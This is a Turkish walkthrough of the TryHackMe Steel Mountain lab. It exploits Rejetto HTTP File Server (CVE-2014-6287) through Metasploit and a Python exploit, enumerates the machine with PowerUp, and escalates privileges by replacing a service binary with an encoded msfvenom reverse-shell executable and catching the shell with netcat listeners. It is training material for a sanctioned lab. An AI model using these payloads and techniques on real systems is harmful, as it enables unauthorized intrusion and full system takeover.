Lab erişimi: https://tryhackme.com/r/room/steelmountain
Talimatlar:
Bu, Windows Exploitation ve PowerShell kavramlarını içeren bir TryHackMe ücretli odasıdır.
Aşağıdaki değerleri sözdiziminde veya Makine IP’si gibi yerlerde uygun şekilde değiştirmeyi unutmayın.
Metasploit’in Bağlantısıyla ilgili bazı sorunlar yaşadım, bu nedenle Makineyi ve Süreci yeniden başlatmayı unutmayın.
Materyali bir Tarayıcıda erişiyorsanız, belirli bir cümleyi veya komutu bulmak için Ctrl+F (Bul komutu) kullanın.
TryHackMe’nin VPN’ine bağlandığınızdan veya Attackbox’ı başlattığınızdan emin olun.
Hatırlatmalar ile hemen nmap taramamız ile başlayalım.
nmap -T4 -A 10.10.101.154 -oN nmapTarama.txt
Bu odada bir Windows makinesini enumere edecek, Metasploit ile ilk erişimi sağlayacak, Powershell kullanarak makineyi daha fazla enumere edecek ve yetkilerinizi Admin seviyesine yükselteceksiniz.
Eğer gerekli güvenlik araçlarına ve ortamına sahip değilseniz, kendi Kali Linux makinenizi deploy edebilir ve tarayıcınızda kontrol edebilirsiniz.
Lütfen bu makinenin ping (ICMP) yanıtı vermediğini ve başlatılmasının birkaç dakika sürebileceğini unutmayın.
Soru: Ayın çalışanı kim?
80 numaralı portuna gidecek olursak;
Ayın çalışanın paylaşıldığını görüyoruz fakat ismi hakkında bir bilgi alamıyoruz. Bunun için inspect diyip bakmalıyım diye düşünüyorum.
ve evet burada ayın çalışanın ismini öğreniyoruz.
Cevap: Bill Harper
Soru: Makineyi nmap ile tarayın. Web sunucusunu çalıştıran diğer bağlantı noktası nedir?
Cevap: 8080
bu port’u da ziyaret edelim.
Soru: Hangi dosya sunucusu çalışıyor?
Cevap: Rejetto HTTP File Server
Soru: Bu File Server’da faydalanmak için CVE numarası nedir?
Cevap: 2014-6287
Soru: İlk shell’i almak için Metasploit kullanın. Kullanıcı bayrağı nedir?
msfconsol’da kullanabileceğimiz iki adet exploit mevcut. ilk olarak 1’inci exploit’i kullanarak çözeceğim.
gerekli parametreleri aşağıdaki gibi set ediyorum
ve exploit ..
search rejetto
use 0
show options set
rport 8080
ve böylece meterpreter shell’ini alıyoruz.
meterpreter oturumu alır almaz çalıştıracağımız komut sysinfo olmalıdır ve hemen bilgilere bakalım.
bilgisayarın adı, os, mimari, dili, domaini, giriş yapmış kullanıcı sayısı ve meterpretter bilgileri geldi.
getuid komutu, Metasploit’teki Meterpreter oturumunda kullanılır ve hedef sistemdeki mevcut kullanıcı kimliğini (UID) getirir. Bu komut, Meterpreter oturumunda hangi kullanıcının kimlik doğrulamasıyla oturum açıldığını belirlemek için kullanılır. UID, işletim sisteminde her kullanıcının benzersiz bir şekilde tanımlanmasını sağlayan bir sayıdır.
bill kullanıcısı olduğunu öğreniyoruz onun için bu kullanıcının dizinine gidiyorum.
Ve böylece user flag’imizi almış olduk.
Artık bu Windows makinesinde Bill olarak bir başlangıç shell’ine sahip olduğunuza göre, makineyi daha fazla enumere edebilir ve ayrıcalıklarımızı root’a yükseltebiliriz!
Bu makineyi enumerate etmek için PowerUp adında bir PowerShell scripti kullanacağız. PowerUp’ın amacı, bir Windows makinesini değerlendirerek herhangi bir anormallik belirlemektir — “PowerUp, yanlış yapılandırmalara dayanan yaygın Windows ayrıcalık artırma vektörlerinin bir merkezi olmayı hedefler.”
Scripti buradan indirebilirsiniz. Komut satırından indirmek istiyorsanız, GitHub sayfasını değil, raw scripti indirdiğinizden emin olun. Şimdi scripti yüklemek için Metasploit’teki upload komutunu kullanabilirsiniz.
yaptığımız işler gerçek hayata uygun olması adına yükleyeceğimiz dosyaları masaüstünde bill’in oturum açınca görebileceği yere kaydetmek yerine gecici bir directory oluşturup oraya atmayı amaçlıyorum.
Şimdi Metasploit’te dosyayı hedef makineye yüklemek için aşağıdaki komutu yazın
upload <FILE_LOCATION>
load powershell
powershell_shell
burada powerUp’ın yüklü olduğu tam path’i vermeniz çok önemli.
görüldüğü üzere powershell shell’ini açtık.
Powershell dosyasını indirdiğiniz Dizine gidin ve ardından Aşağıdaki Komutları yazın
. .\PowerUp.ps1
Invoke-AllChecks
. .\PowerUp.ps1
Bu komut, PowerShell’de bir scripti çalıştırmadan önce içe aktarmak için kullanılır.
- Anlamı:
.
(nokta) işareti, PowerShell’de bir scripti geçici olarak çalıştırmak için kullanılan bir komuttur..\PowerUp.ps1
, PowerUp adlı PowerShell scriptinin bulunduğu dizini belirtir. - Neden Kullanılır: Scripti geçici olarak çalıştırmak, scriptteki tüm fonksiyonları ve değişkenleri mevcut PowerShell oturumunuza dahil eder. Bu, scriptin işlevlerini ve komutlarını PowerShell oturumunuzda kullanabilmenizi sağlar.
- Çıktı: Bu komut doğrudan bir çıktı vermez, ancak script içindeki komutları ve fonksiyonları oturumunuza dahil eder. Başarıyla çalıştırıldığında, script içindeki tüm işlevler kullanılabilir hale gelir.
Invoke-AllChecks
Bu komut, PowerUp scripti tarafından sağlanan bir fonksiyondur.
- Anlamı:
Invoke-AllChecks
fonksiyonu, Windows sistemindeki çeşitli güvenlik açıklarını ve yanlış yapılandırmaları test etmek için kullanılır. PowerUp scriptinin sunduğu tüm kontrolleri çalıştırarak sistemdeki potansiyel ayrıcalık artırma vektörlerini değerlendirir. - Neden Kullanılır: Windows sistemindeki güvenlik açıklarını ve ayrıcalık artırma fırsatlarını hızlı bir şekilde belirlemek için kullanılır. Bu, sistemdeki yapılandırma hatalarını ve güvenlik açıklarını tespit etmenin etkili bir yoludur.
- Çıktı:
Invoke-AllChecks
çalıştırıldığında, çeşitli kontrollerin sonuçlarını içeren bir liste verir. Bu sonuçlar, sistemde bulunan potansiyel güvenlik açıklarını ve yapılandırma hatalarını detaylı bir şekilde gösterir. Çıktı genellikle aşağıdaki bilgileri içerir:- Potansiyel Güvenlik Açıkları: Güvenlik açıkları veya yanlış yapılandırmalar.
- Yapılandırma Hataları: Yanlış yapılandırmalar ve sistemdeki sorunlar.
- Ayrıcalık Artırma Olanakları: Potansiyel ayrıcalık artırma vektörleri ve ilgili açıklamalar.
Bu komutlar, Windows sistemlerinin güvenliğini değerlendirmek ve potansiyel riskleri belirlemek için oldukça yararlıdır.
True olarak ayarlanan CanRestart seçeneğine çok dikkat edin. Tırnak içine alınmamış bir hizmet yolu açığı olarak görünen hizmetin adı nedir?
CanRestart seçeneğinin true
olması, sistemdeki bir hizmeti yeniden başlatmamıza izin verir. Uygulamanın dizini yazılabilir olduğunda, bu durum yasal uygulamayı zararlı bir uygulama ile değiştirmemize olanak tanır. Hizmeti yeniden başlattığımızda, bu durumda enfekte olmuş programımız çalışacaktır!
Bir Windows çalıştırılabilir dosyası olarak ters shell oluşturmak için msfvenom kullanın.
msfvenom -p windows/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe
Oluşturduğunuz ikili dosyayı yükleyin ve yasal olanın yerine geçirin. Ardından, programı yeniden başlatarak root olarak bir shell elde edin.
Not: Hizmetin alıntısız (unquoted) olduğu ve bu teknikle sömürülebileceği gösterilmiş olsa da, bu durumda hizmet dosyalarındaki zayıf dosya izinlerini kullanarak sömürü gerçekleştirilmiştir.
Aşağıdaki komutu kullanarak bir Payload oluşturalım
msfvenom -p windows/shell_reverse_tcp LHOST=<Machine-IP> LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o ASCService.exe
-p windows/shell_reverse_tcp: -p seçeneği, kullanılacak payload’ı belirtir. Burada windows/shell_reverse_tcp, Windows işletim sistemi için bir ters shell payload’ıdır. Bu payload, hedef makinede çalıştırıldığında, geri dönüş bağlantısı (reverse connection) kurarak saldırganın makinesine bağlantı sağlar.
LHOST=CONNECTION_IP: LHOST (Local Host), ters shell’in geri döneceği yerel makinenin IP adresidir. CONNECTION_IP kısmını, ters shell’in bağlanacağı IP adresi ile değiştirmeniz gerekir.
LPORT=4443: LPORT (Local Port), ters shell’in bağlantı kuracağı yerel makinenin port numarasıdır. Bu örnekte, 4443 numaralı port kullanılır. Bu port numarasını, ters shell’in bağlantı kuracağı port ile değiştirmeniz gerekir.
-e x86/shikata_ga_nai: -e seçeneği, payload’ı şifrelemek için kullanılacak şifreleme veya obfuscation (gizleme) tekniğini belirtir. Burada x86/shikata_ga_nai, msfvenom’un şifreleme tekniklerinden biridir ve payload’ı algılamayı zorlaştırır.
-f exe-service: -f seçeneği, çıktının formatını belirtir. Burada exe-service, bir Windows çalıştırılabilir dosyası (EXE) formatında bir payload oluşturur. Bu, hizmet olarak çalıştırılacak bir uygulama için uygun bir format olabilir.
-o Advanced.exe: -o seçeneği, oluşturulan çalıştırılabilir dosyanın adını belirtir. Burada Advanced.exe adlı dosya oluşturulacaktır. Bu dosya, payload’ı içerecek ve hedef makinede çalıştırılacaktır.
Özet
Bu komut, Metasploit Framework’ün msfvenom aracını kullanarak Windows için özel olarak hazırlanmış bir ters shell içeren çalıştırılabilir bir dosya (Advanced.exe) oluşturur. Bu dosya, hedef makinede çalıştırıldığında, belirttiğiniz IP adresine ve port numarasına geri bağlantı yaparak, saldırgana erişim sağlar.
Şimdi bu oluşturuduğumuz ASCService.exe payload’unu sisteme yüklememiz gerekiyor. Aşağıda belirtilen dizine yüklememiz önem arz ediyor.
Şimdi yüklemek için powershell oturumumuzu sonlandıralım.
görüldüğü üzere ASCService.exe’nin bulunduğu dizine geldik.
yüklemeye çalıştık fakat kullanımda olduğu için hata aldık. Durdurmak için shell session açalım ve
şimdi geri gelip tekrar upload edelim
msfconsole’da bir dinleyeci oluşturalım.
burada lport kısmında msfvenom’da oluşturduğunuz portu vermeyi unutmayın yoksa yakalayamazsınız.
bu adımı farklı bir şekilde
nc -lvnp 40404 ile de yapabilirdik
dinleme başladı şimdi shell’imize geri dönelim ve servisi başlatalım.
start ettiğimiz anda
geldi.
Şimdi Metasploit kullanmadan odayı tamamlayalım. Bunun için powershell ve winPEAS kullanarak sistemi numaralandıracak ve ilgili bilgileri toplayarak aşağıdakilere yükselteceğiz
Başlamak için aynı CVE’yi kullanacağız. Ancak, bu sefer bu istismarı kullanalım *Bunun çalışması için aynı anda bir web sunucusu ve bir netcat dinleyicisinin aktif olması gerektiğini unutmayın * Başlamak için web sunucunuzda bir netcat static binary dosyasına ihtiyacınız olacak. Eğer yoksa, GitHub’dan indirebilirsiniz! Bu exploiti iki kez çalıştırmanız gerekecek. İlk seferde netcat binary’mize sisteme çekecek ve ikincisi bir geri arama elde etmek için payload’ımızı çalıştıracak!
gerekli olan her şeyi klasörüme çektim ve düzenledim.
python exploit’inin içerisine girelim ve bilgi edinelim.
buradaki gereksinime göre ncat.exe’mizin adını nc.exe olarak yeniden adlandırmamız gerekiyor.
bu işlemi hemen gerçekleştiriyorum.
bura verilen değişkenleri de kendimize göre set etmemiz gerekiyor. hemen yapalım.
aslında portumuzu 30303 olarak değiştirmek daha iyi olabilir çünkü aynı exploiti kullanacağız ve önceki adımda yaptığım portu vermek doğru olmayabilir.
buradaki 10.9.0.154 benim tryhackme vpn adresim sizde kendinize göre set etmelisiniz.
şimdi local bir web server kurmamız gerekiyor.
şimdi 30303 portunu dinleyelim
burada ara vermek zorunda kaldığım için makinem terminate oldu. Bundan sonraki adımlarda ip adreslerim değişmiş olacak.
http.server kurduktan sonra python 39161.py 10.10.98.231 8080 çalıştırınca
shell’imiz gelmiş oldu.
kimiz diye bakınca yetkisiz kullanıcı bill olduğumuzu görebilirsiniz.
bundan sonraki adımlar yetki yükseltmede yaptığımızın benzerleridir onun için detayına girmiyorum.